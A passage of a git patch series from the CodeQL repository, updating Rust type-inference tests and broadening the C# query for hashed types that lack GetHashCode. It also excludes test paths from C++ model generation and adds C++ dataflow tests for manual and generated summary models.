t instanceof Builtins::Bool + ) } cached diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 69004d7291d5..c8f91884f4ec 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -984,11 +984,11 @@ mod builtins { let y = 2; // $ type=y:i32 let z = x + y; // $ MISSING: type=z:i32 let z = x.abs(); // $ method=abs $ type=z:i32 - 'c'; - "Hello"; - 123.0f64; - true; - false; + let c = 'c'; // $ type=c:char + let hello = "Hello"; // $ type=hello:str + let f = 123.0f64; // $ type=f:f64 + let t = true; // $ type=t:bool + let f = false; // $ type=f:bool } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 45dccfb18575..b2c8c621b080 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1206,11 +1206,16 @@ inferType | main.rs:986:13:986:13 | z | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:986:17:986:17 | x | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:986:17:986:23 | x.abs() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:987:9:987:11 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | -| main.rs:988:9:988:15 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:989:9:989:16 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | -| main.rs:990:9:990:12 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:991:9:991:13 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:987:13:987:13 | c | | file:///BUILTINS/types.rs:6:1:7:16 | char | +| main.rs:987:17:987:19 | 'c' | | file:///BUILTINS/types.rs:6:1:7:16 | char | +| main.rs:988:13:988:17 | hello | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:988:21:988:27 | "Hello" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:989:13:989:13 | f | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | +| main.rs:989:17:989:24 | 123.0f64 | | file:///BUILTINS/types.rs:25:1:25:15 | f64 | +| main.rs:990:13:990:13 | t | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:990:17:990:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:991:13:991:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:991:17:991:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:997:5:997:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | | main.rs:998:5:998:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | | main.rs:998:20:998:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From 2c5d85e1865f14e73af327f5dbfdb1139b232f03 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 15 May 2025 13:35:08 +0200 Subject: [PATCH 142/535] C#: Convert cs/gethashcode-is-not-defined to inline expectations tests. --- .../Likely Bugs/HashedButNoHash/HashedButNoHash.cs | 5 +++-- .../Likely Bugs/HashedButNoHash/HashedButNoHash.expected | 2 +- .../Likely Bugs/HashedButNoHash/HashedButNoHash.qlref | 4 +++- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs index 1c088acfce23..7a69efca4440 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs @@ -6,9 +6,10 @@ public class Test public void M() { var h = new Hashtable(); - h.Add(this, null); // BAD + h.Add(this, null); // $ Alert + var d = new Dictionary(); - d.Add(this, false); // BAD + d.Add(this, false); // $ Alert } public override bool Equals(object other) diff --git a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected index 139f62dfe5bd..cde53dcd2470 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected +++ b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected @@ -1,2 +1,2 @@ | HashedButNoHash.cs:9:15:9:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | -| HashedButNoHash.cs:11:15:11:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:12:15:12:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | diff --git a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.qlref b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.qlref index 611db7b8e0de..2686c9c06e81 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.qlref @@ -1 +1,3 @@ -Likely Bugs/HashedButNoHash.ql \ No newline at end of file +query: Likely Bugs/HashedButNoHash.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql + From 4b2d323cb6028209e48faf9bc484f7cf2e6e3a13 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 15 May 2025 13:44:12 +0200 Subject: [PATCH 143/535] C#: Add some more test cases. --- .../HashedButNoHash/HashedButNoHash.cs | 17 +++++++++++++++++ .../HashedButNoHash/HashedButNoHash.expected | 16 +++++++++++++++- 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs index 7a69efca4440..6ddd7fb037d5 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs @@ -7,9 +7,26 @@ public void M() { var h = new Hashtable(); h.Add(this, null); // $ Alert + h.Contains(this); // $ Alert + h.ContainsKey(this); // $ Alert + h[this] = null; // $ Alert + h.Remove(this); // $ Alert + + var l = new List(); + l.Add(this); // Good var d = new Dictionary(); d.Add(this, false); // $ Alert + d.ContainsKey(this); // $ Alert + d[this] = false; // $ Alert + d.Remove(this); // $ Alert + d.TryAdd(this, false); // $ Alert + d.TryGetValue(this, out bool _); // $ Alert + + var hs = new HashSet(); + hs.Add(this); // $ Alert + hs.Contains(this); // $ Alert + hs.Remove(this); // $ Alert } public override bool Equals(object other) diff --git a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected index cde53dcd2470..2e6e3cba4ba5 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected +++ b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected @@ -1,2 +1,16 @@ +#select | HashedButNoHash.cs:9:15:9:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | -| HashedButNoHash.cs:12:15:12:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:11:23:11:26 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:19:15:19:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:20:23:20:26 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +testFailures +| HashedButNoHash.cs:10:27:10:36 | // ... | Missing result: Alert | +| HashedButNoHash.cs:12:25:12:34 | // ... | Missing result: Alert | +| HashedButNoHash.cs:13:25:13:34 | // ... | Missing result: Alert | +| HashedButNoHash.cs:21:26:21:35 | // ... | Missing result: Alert | +| HashedButNoHash.cs:22:25:22:34 | // ... | Missing result: Alert | +| HashedButNoHash.cs:23:32:23:41 | // ... | Missing result: Alert | +| HashedButNoHash.cs:24:42:24:51 | // ... | Missing result: Alert | +| HashedButNoHash.cs:27:23:27:32 | // ... | Missing result: Alert | +| HashedButNoHash.cs:28:28:28:37 | // ... | Missing result: Alert | +| HashedButNoHash.cs:29:26:29:35 | // ... | Missing result: Alert | From 72d3814e08624d051493391532c5089453ce546e Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 15 May 2025 14:03:22 +0200 Subject: [PATCH 144/535] C#: Include dictionary indexers and more methods in cs/gethashcode-is-not-defined. --- .../frameworks/system/collections/Generic.qll | 17 ++++++++ csharp/ql/src/Likely Bugs/HashedButNoHash.ql | 40 ++++++++++++++----- 2 files changed, 47 insertions(+), 10 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/system/collections/Generic.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/system/collections/Generic.qll index 24c1277af026..35b23ffc18e8 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/system/collections/Generic.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/system/collections/Generic.qll @@ -159,6 +159,15 @@ class SystemCollectionsGenericIDictionaryInterface extends SystemCollectionsGene } } +/** The ``System.Collections.Generic.IReadOnlyDictionary`2`` interface. */ +class SystemCollectionsGenericIReadOnlyDictionaryInterface extends SystemCollectionsGenericUnboundGenericInterface +{ + SystemCollectionsGenericIReadOnlyDictionaryInterface() { + this.hasName("IReadOnlyDictionary`2") and + this.getNumberOfTypeParameters() = 2 + } +} + /** The ``System.Collections.Generic.IReadOnlyCollection`1`` interface. */ class SystemCollectionsGenericIReadOnlyCollectionTInterface extends SystemCollectionsGenericUnboundGenericInterface { @@ -176,3 +185,11 @@ class SystemCollectionsGenericIReadOnlyListTInterface extends SystemCollectionsG this.getNumberOfTypeParameters() = 1 } } + +/** The ``System.Collections.Generic.HashSet`1`` class. */ +class SystemCollectionsGenericHashSetClass extends SystemCollectionsGenericUnboundGenericClass { + SystemCollectionsGenericHashSetClass() { + this.hasName("HashSet`1") and + this.getNumberOfTypeParameters() = 1 + } +} diff --git a/csharp/ql/src/Likely Bugs/HashedButNoHash.ql b/csharp/ql/src/Likely Bugs/HashedButNoHash.ql index 195c0e3a0560..9948def013c9 100644 --- a/csharp/ql/src/Likely Bugs/HashedButNoHash.ql +++ b/csharp/ql/src/Likely Bugs/HashedButNoHash.ql @@ -11,24 +11,44 @@ import csharp import semmle.code.csharp.frameworks.System +import semmle.code.csharp.frameworks.system.Collections +import semmle.code.csharp.frameworks.system.collections.Generic -predicate dictionary(ConstructedType constructed) { - exists(UnboundGenericType dict | - dict.hasFullyQualifiedName("System.Collections.Generic", "Dictionary`2") and - constructed = dict.getAConstructedGeneric() +/** + * Holds if `t` is a dictionary type. + */ +predicate dictionary(ValueOrRefType t) { + exists(Type base | base = t.getABaseType*().getUnboundDeclaration() | + base instanceof SystemCollectionsGenericIDictionaryInterface or + base instanceof SystemCollectionsGenericIReadOnlyDictionaryInterface or + base instanceof SystemCollectionsIDictionaryInterface ) } -predicate hashtable(Class c) { c.hasFullyQualifiedName("System.Collections", "Hashtable") } +/** + * Holds if `c` is a hashset type. + */ +predicate hashSet(ValueOrRefType t) { + t.getABaseType*().getUnboundDeclaration() instanceof SystemCollectionsGenericHashSetClass +} -predicate hashstructure(Type t) { hashtable(t) or dictionary(t) } +predicate hashStructure(Type t) { dictionary(t) or hashSet(t) } -predicate hashAdd(Expr e) { +/** + * Holds if the expression `e` relies on `GetHashCode()` implementation. + * That is, if the call assumes that `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()`. + */ +predicate usesHashing(Expr e) { exists(MethodCall mc, string name | - (name = "Add" or name = "ContainsKey") and + name = ["Add", "Contains", "ContainsKey", "Remove", "TryAdd", "TryGetValue"] and mc.getArgument(0) = e and mc.getTarget().hasName(name) and - hashstructure(mc.getTarget().getDeclaringType()) + hashStructure(mc.getTarget().getDeclaringType()) + ) + or + exists(IndexerCall ic | + ic.getArgument(0) = e and + dictionary(ic.getTarget().getDeclaringType()) ) } @@ -46,7 +66,7 @@ predicate hashCall(Expr e) { from Expr e, Type t where - (hashAdd(e) or hashCall(e)) and + (usesHashing(e) or hashCall(e)) and e.getType() = t and eqWithoutHash(t) select e, From 3080dfafb6bfbbc3f3b08c389d88aebf4317a5f6 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 15 May 2025 14:04:40 +0200 Subject: [PATCH 145/535] C#: Update test expected output. --- .../HashedButNoHash/HashedButNoHash.expected | 22 +++++++++---------- 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected index 2e6e3cba4ba5..ad5ab000c7d0 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected +++ b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected @@ -1,16 +1,14 @@ -#select | HashedButNoHash.cs:9:15:9:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:10:20:10:23 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | | HashedButNoHash.cs:11:23:11:26 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:12:11:12:14 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:13:18:13:21 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | | HashedButNoHash.cs:19:15:19:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | | HashedButNoHash.cs:20:23:20:26 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | -testFailures -| HashedButNoHash.cs:10:27:10:36 | // ... | Missing result: Alert | -| HashedButNoHash.cs:12:25:12:34 | // ... | Missing result: Alert | -| HashedButNoHash.cs:13:25:13:34 | // ... | Missing result: Alert | -| HashedButNoHash.cs:21:26:21:35 | // ... | Missing result: Alert | -| HashedButNoHash.cs:22:25:22:34 | // ... | Missing result: Alert | -| HashedButNoHash.cs:23:32:23:41 | // ... | Missing result: Alert | -| HashedButNoHash.cs:24:42:24:51 | // ... | Missing result: Alert | -| HashedButNoHash.cs:27:23:27:32 | // ... | Missing result: Alert | -| HashedButNoHash.cs:28:28:28:37 | // ... | Missing result: Alert | -| HashedButNoHash.cs:29:26:29:35 | // ... | Missing result: Alert | +| HashedButNoHash.cs:21:11:21:14 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:22:18:22:21 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:23:18:23:21 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:24:23:24:26 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:27:16:27:19 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:28:21:28:24 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:29:19:29:22 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | From 4d7901573ac17ea9d6b6bc7db8b1abab5a2cb5c6 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 15 May 2025 14:07:50 +0200 Subject: [PATCH 146/535] C#: Add change note. --- .../src/change-notes/2025-05-15-gethashcode-is-not-defined.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md diff --git a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md b/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md new file mode 100644 index 000000000000..2d8c5c1c56e0 --- /dev/null +++ b/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. From e80c3b5c0b7140b6df8c6991ce068d6e7a1d5b31 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 15 May 2025 13:24:32 +0100 Subject: [PATCH 147/535] C++: Exclude tests (by matching paths) in model generation. --- cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll index b86b2400fccc..c30e2cc8f57a 100644 --- a/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -45,6 +45,13 @@ private predicate isUninterestingForModels(Callable api) { api = any(Cpp::LambdaExpression lambda).getLambdaFunction() or api.isFromUninstantiatedTemplate(_) + or + // Exclude functions in test directories (but not the ones in the CodeQL test directory) + exists(Cpp::File f | + f = api.getFile() and + f.getAbsolutePath().matches("%test%") and + not f.getAbsolutePath().matches("%test/library-tests/dataflow/modelgenerator/dataflow/%") + ) } private predicate relevant(Callable api) { From c6df9505c0589499f0027e718cb2d0c60278eeda Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 15 May 2025 15:05:17 +0100 Subject: [PATCH 148/535] C++: Add tests to exercise the upcoming behavior of function dispatch when there are model-generated summaries AND source definitions. --- .../dataflow/external-models/flow.expected | 75 ++++++++++++++----- .../dataflow/external-models/flow.ext.yml | 5 +- .../dataflow/external-models/sinks.expected | 11 ++- .../dataflow/external-models/sources.expected | 2 +- .../dataflow/external-models/steps.expected | 7 +- .../dataflow/external-models/steps.ext.yml | 5 +- .../dataflow/external-models/test.cpp | 27 ++++++- 7 files changed, 104 insertions(+), 28 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index 3a87f947742b..2b2f0dcdf0c7 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -10,14 +10,32 @@ edges | asio_streams.cpp:100:44:100:62 | call to buffer | asio_streams.cpp:103:29:103:39 | *send_buffer | provenance | Sink:MaD:6 | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | provenance | | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:100:44:100:62 | call to buffer | provenance | MaD:10 | -| test.cpp:4:5:4:11 | [summary param] 0 in ymlStep | test.cpp:4:5:4:11 | [summary] to write: ReturnValue in ymlStep | provenance | MaD:969 | -| test.cpp:7:10:7:18 | call to ymlSource | test.cpp:7:10:7:18 | call to ymlSource | provenance | Src:MaD:967 | -| test.cpp:7:10:7:18 | call to ymlSource | test.cpp:11:10:11:10 | x | provenance | Sink:MaD:968 | -| test.cpp:7:10:7:18 | call to ymlSource | test.cpp:13:18:13:18 | x | provenance | | -| test.cpp:13:10:13:16 | call to ymlStep | test.cpp:13:10:13:16 | call to ymlStep | provenance | | -| test.cpp:13:10:13:16 | call to ymlStep | test.cpp:15:10:15:10 | y | provenance | Sink:MaD:968 | -| test.cpp:13:18:13:18 | x | test.cpp:4:5:4:11 | [summary param] 0 in ymlStep | provenance | | -| test.cpp:13:18:13:18 | x | test.cpp:13:10:13:16 | call to ymlStep | provenance | MaD:969 | +| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:969 | +| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:970 | +| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:971 | +| test.cpp:7:5:7:30 | [summary param] 0 in ymlStepGenerated_with_body | test.cpp:7:5:7:30 | [summary] to write: ReturnValue in ymlStepGenerated_with_body | provenance | MaD:972 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:967 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:968 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:17:24:17:24 | x | provenance | | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:21:27:21:27 | x | provenance | | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:25:35:25:35 | x | provenance | | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:35:38:35:38 | x | provenance | | +| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | | +| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:968 | +| test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | provenance | | +| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:969 | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:968 | +| test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | provenance | | +| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:970 | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:968 | +| test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | provenance | | +| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:971 | +| test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | provenance | | +| test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | test.cpp:36:10:36:11 | z3 | provenance | Sink:MaD:968 | +| test.cpp:35:38:35:38 | x | test.cpp:7:5:7:30 | [summary param] 0 in ymlStepGenerated_with_body | provenance | | +| test.cpp:35:38:35:38 | x | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | provenance | MaD:972 | nodes | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | semmle.label | [summary param] *0 in buffer | | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | semmle.label | [summary] to write: ReturnValue in buffer | @@ -31,15 +49,36 @@ nodes | asio_streams.cpp:100:64:100:71 | *send_str | semmle.label | *send_str | | asio_streams.cpp:101:7:101:17 | send_buffer | semmle.label | send_buffer | | asio_streams.cpp:103:29:103:39 | *send_buffer | semmle.label | *send_buffer | -| test.cpp:4:5:4:11 | [summary param] 0 in ymlStep | semmle.label | [summary param] 0 in ymlStep | -| test.cpp:4:5:4:11 | [summary] to write: ReturnValue in ymlStep | semmle.label | [summary] to write: ReturnValue in ymlStep | -| test.cpp:7:10:7:18 | call to ymlSource | semmle.label | call to ymlSource | -| test.cpp:7:10:7:18 | call to ymlSource | semmle.label | call to ymlSource | -| test.cpp:11:10:11:10 | x | semmle.label | x | -| test.cpp:13:10:13:16 | call to ymlStep | semmle.label | call to ymlStep | -| test.cpp:13:10:13:16 | call to ymlStep | semmle.label | call to ymlStep | -| test.cpp:13:18:13:18 | x | semmle.label | x | -| test.cpp:15:10:15:10 | y | semmle.label | y | +| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | semmle.label | [summary param] 0 in ymlStepManual | +| test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | semmle.label | [summary] to write: ReturnValue in ymlStepManual | +| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | semmle.label | [summary param] 0 in ymlStepGenerated | +| test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | semmle.label | [summary] to write: ReturnValue in ymlStepGenerated | +| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | semmle.label | [summary param] 0 in ymlStepManual_with_body | +| test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | semmle.label | [summary] to write: ReturnValue in ymlStepManual_with_body | +| test.cpp:7:5:7:30 | [summary param] 0 in ymlStepGenerated_with_body | semmle.label | [summary param] 0 in ymlStepGenerated_with_body | +| test.cpp:7:5:7:30 | [summary] to write: ReturnValue in ymlStepGenerated_with_body | semmle.label | [summary] to write: ReturnValue in ymlStepGenerated_with_body | +| test.cpp:10:10:10:18 | call to ymlSource | semmle.label | call to ymlSource | +| test.cpp:10:10:10:18 | call to ymlSource | semmle.label | call to ymlSource | +| test.cpp:14:10:14:10 | x | semmle.label | x | +| test.cpp:17:10:17:22 | call to ymlStepManual | semmle.label | call to ymlStepManual | +| test.cpp:17:10:17:22 | call to ymlStepManual | semmle.label | call to ymlStepManual | +| test.cpp:17:24:17:24 | x | semmle.label | x | +| test.cpp:18:10:18:10 | y | semmle.label | y | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | semmle.label | call to ymlStepGenerated | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | semmle.label | call to ymlStepGenerated | +| test.cpp:21:27:21:27 | x | semmle.label | x | +| test.cpp:22:10:22:10 | z | semmle.label | z | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | semmle.label | call to ymlStepManual_with_body | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | semmle.label | call to ymlStepManual_with_body | +| test.cpp:25:35:25:35 | x | semmle.label | x | +| test.cpp:26:10:26:11 | y2 | semmle.label | y2 | +| test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | +| test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | +| test.cpp:35:38:35:38 | x | semmle.label | x | +| test.cpp:36:10:36:11 | z3 | semmle.label | z3 | subpaths | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | asio_streams.cpp:100:44:100:62 | call to buffer | -| test.cpp:13:18:13:18 | x | test.cpp:4:5:4:11 | [summary param] 0 in ymlStep | test.cpp:4:5:4:11 | [summary] to write: ReturnValue in ymlStep | test.cpp:13:10:13:16 | call to ymlStep | +| test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | +| test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | +| test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | +| test.cpp:35:38:35:38 | x | test.cpp:7:5:7:30 | [summary param] 0 in ymlStepGenerated_with_body | test.cpp:7:5:7:30 | [summary] to write: ReturnValue in ymlStepGenerated_with_body | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.ext.yml b/cpp/ql/test/library-tests/dataflow/external-models/flow.ext.yml index 42ca51bc4248..12dbf7d4cd23 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.ext.yml +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.ext.yml @@ -13,4 +13,7 @@ extensions: pack: codeql/cpp-all extensible: summaryModel data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance - - ["", "", False, "ymlStep", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] \ No newline at end of file + - ["", "", False, "ymlStepManual", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepGenerated", "", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", False, "ymlStepManual_with_body", "", "", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["", "", False, "ymlStepGenerated_with_body", "", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] \ No newline at end of file diff --git 